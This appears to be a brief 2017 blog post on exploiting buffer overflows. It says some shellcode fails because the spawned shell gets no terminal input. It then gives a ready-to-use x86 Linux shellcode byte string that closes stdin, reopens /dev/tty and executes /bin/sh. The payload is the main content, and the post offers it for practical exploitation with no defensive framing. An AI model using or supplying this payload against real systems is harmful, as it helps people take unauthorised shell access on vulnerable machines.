12 March 2017

Shellcode that bring back tty input



There are cases that you think you have been able to exploit the bug (e.g. buffer-overflow) but the program is terminated right away. You have nothing to do with your shell-code.
One of the reasons is your shell-code does not bring back the input terminal so you can not type your commands.
The solution is to try with another shell-code, like the one below. It will "closes stdin descriptor and re-opens /dev/tty, then does an execve() of /bin/sh/".
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
Origin

Shellcode that bring back tty input

There are cases that you think you have been able to exploit the bug (e.g. buffer-overflow) but the program is terminated right awa...